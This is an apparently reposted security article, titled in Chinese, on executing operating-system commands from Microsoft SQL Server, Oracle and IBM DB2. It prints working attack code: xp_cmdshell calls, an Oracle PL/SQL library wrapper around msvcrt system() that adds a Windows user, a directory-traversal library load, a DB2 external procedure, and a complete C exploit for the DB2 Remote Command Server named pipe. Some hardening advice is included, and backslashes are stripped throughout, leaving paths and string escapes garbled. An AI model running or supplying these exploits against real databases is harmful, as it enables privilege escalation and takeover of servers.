ORACLE_DB2_SQL SERVER_MYSQL中執行os命令

Microsoft SQL Server

Even if you don't know much about Microsoft's SQL Server, you will probably have heard of the extended stored procedure xp_cmdshell. Normally, only those with sysadmin privileges can run xp_cmdshell , but over the past few years, several vulnerabilities have come to light that allow low-privileged users to use it. xp_cmdshell takes one parameter—the command to execute. This command typically executes using the security context of the account running SQL server, which is more often than not the LOCAL SYSTEM account. In certain cases, a proxy account can be set up, and the command will execute in the security context of this account.

     exec master..xp_cmdshell ('dir > c:foo.txt')

Although leaving xp_cmdshell in place has often led to the compromise of an SQL Server, xp_cmdshell is used by many of the security updates. A good recommendation would be to remove this extended stored procedure and move xplog70.dll out of the binn directory. When you need to apply a security update, move xplog70.dll back into the binn directory and re-add xp_cmdshell.

Oracle

There are two methods of running operating system commands through Oracle, although no direct method exists out of the box—only the framework that allows command execution is there. One method uses a PL/SQL stored procedure. PL/SQL can be extended to allow a procedure to call out to functions exported by operating system libraries. Because of this, an attacker can have Oracle load the C runtime library (msvcrt.dll or libc) and execute the system() C function. This function runs a command, as follows.

     CREATE OR REPLACE LIBRARY exec_shell 
          AS 'C:winntsystem32msvcrt.dll';
     /
     show errors
     CREATE OR REPLACE PACKAGE oracmd IS
     PROCEDURE exec (cmdstring IN CHAR);
     end oracmd;
     /
     show errors
     CREATE OR REPLACE PACKAGE BODY oracmd IS
     PROCEDURE exec(cmdstring IN CHAR)
     IS EXTERNAL
     NAME "system"
     LIBRARY exec_shell
     LANGUAGE C;
     end oracmd;
     /
     exec oracmd.exec ('net user ngssoftware password!! /add');

To create such a procedure, the user account must have the CREATE/ALTER (ANY) LIBRARY permission.

In more recent versions of Oracle, libraries that can be loaded are restricted to the ${ORACLE_HOME}bin directory. However, by using a double-dot attack, you can break out of this directory and load any library.

     CREATE OR REPLACE LIBRARY exec_shell 
          AS '............winntsystem32msvcrt.dll';

Needless to say, if we are running this attack on a Unix-based system, we'll need to change the library name to the path of libc.

As a side note, in some versions of Oracle it is possible to trick the software into running OS commands without even touching the main RDBMS services. When Oracle loads a library, it connects to the TNS Listener and the Listener executes a small host program called extproc to do the actual library loading and function calling. By communicating directly with the TNS Listener, it is possible to trick it into executing extproc. Thus, an attacker without a user ID or password can gain control over an Oracle server. This flaw has been patched.

IBM DB2

IBM's DB2 is similar to Oracle and just as insecure, but in a different way. You can create a procedure to run operating system commands, much as you can in Oracle, but by default, it seems that any user can do it. When DB2 is first installed, PUBLIC is by default assigned the IMPLICIT_SCHEMA authority, and this authority allows the user to create a new schema. This schema is owned by SYSIBM, but PUBLIC is given the rights to create objects within it. As such, a low-privileged user can create a new schema and create a procedure in it.

CREATE PROCEDURE rootdb2 (IN cmd varchar(200)) 
EXTERNAL NAME 'c:winntsystem32msvcrt!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
call rootdb2 ('dir > c:db2.txt')

To prevent low-privileged users from running this attack, ensure that the IMPLICIT_SCHEMA authority is removed from PUBLIC.

DB2 offers another mechanism for running operating systems commands that does not use SQL. To ease the administrative burden, there is a facility called the DB2 Remote Command Server that allows, as the name describes, the remote execution of commands. On Windows platforms this server, db2rcmd.exe, holds open a named pipe called DB2REMOTECMD, which remote clients can open, send commands through, and have the results returned to them. Before the command is sent, a handshake is performed in the first write with the command sent in the second write. On receipt of these two writes, a separate process, db2rcmdc.exe, is spawned, which is then responsible for executing the command. The server is started and runs in the security context of the db2admin account, which is assigned administrator privileges by default. When db2rcmdc and the eventual command are executed, the permissions are not dropped. To connect to the DB2REMOTECMD pipe, a client needs a user ID and password, but providing that they have this, even a low-privileged user can run commands with administrator rights. Needless to say, this presents a security risk. In the worst-case scenario, IBM should modify the code of the Remote Command Server to at least call ImpersonateNamed_PipeClient first before executing the command. Doing so would mean that the command would execute with the privileges of the requesting user and those of an administrator. The best-case scenario would be to secure the named pipe and allow only those with administrator privileges to use this service. This code will execute a command on a remote server and return the results.

#include 
#include 
   
int main(int argc, char *argv[])
{
 char buffer[540]="";
 char NamedPipe[260]="";
 HANDLE rcmd=NULL;
 char *ptr = NULL;
 int len =0;
 DWORD Bytes = 0;
   
 if(argc !=3)
 {
  printf("ntDB2 Remote Command Exploit.nn");
  printf("tUsage: db2rmtcmd target "command"n");
  printf("ntDavid Litchfieldnt(david@ngssoftware.com)nt6th 
September 2003n");
  return 0;
      }
   
 strncat(NamedPipe,argv[1],200);
 strcat(NamedPipe,"pipeDB2REMOTECMD");
   
 // Setup handshake message
 ZeroMemory(buffer,540);
 buffer[0]=0x01;
 ptr = &buffer[4];
 strcpy(ptr,"DB2");
 len = strlen(argv[2]);
 buffer[532]=(char)len;
   
 // Open the named pipe
 rcmd = CreateFile(NamedPipe,GENERIC_WRITE|GENERIC_READ,0,
NULL,OPEN_EXISTING,0,NULL);
   
 if(rcmd == INVALID_HANDLE_VALUE)
  return printf("Failed to open pipe %s. Error 
%d.n",NamedPipe,GetLastError());
   
 // Send handshake
 len = WriteFile(rcmd,buffer,536,&Bytes,NULL);
   
 if(!len)
  return printf("Failed to write to %s. Error 
%d.n",NamedPipe,GetLastError());
   
 ZeroMemory(buffer,540);
 strncpy(buffer,argv[2],254);
   
 // Send command
 len = WriteFile(rcmd,buffer,strlen(buffer),&Bytes,NULL);
 if(!len)
  return printf("Failed to write to %s. Error 
%d.n",NamedPipe,GetLastError());
   
 // Read results
 while(len)
 {
  len = ReadFile(rcmd,buffer,530,&Bytes,NULL);
  printf("%s",buffer);
  ZeroMemory(buffer,540);
      }
   
 return 0;
}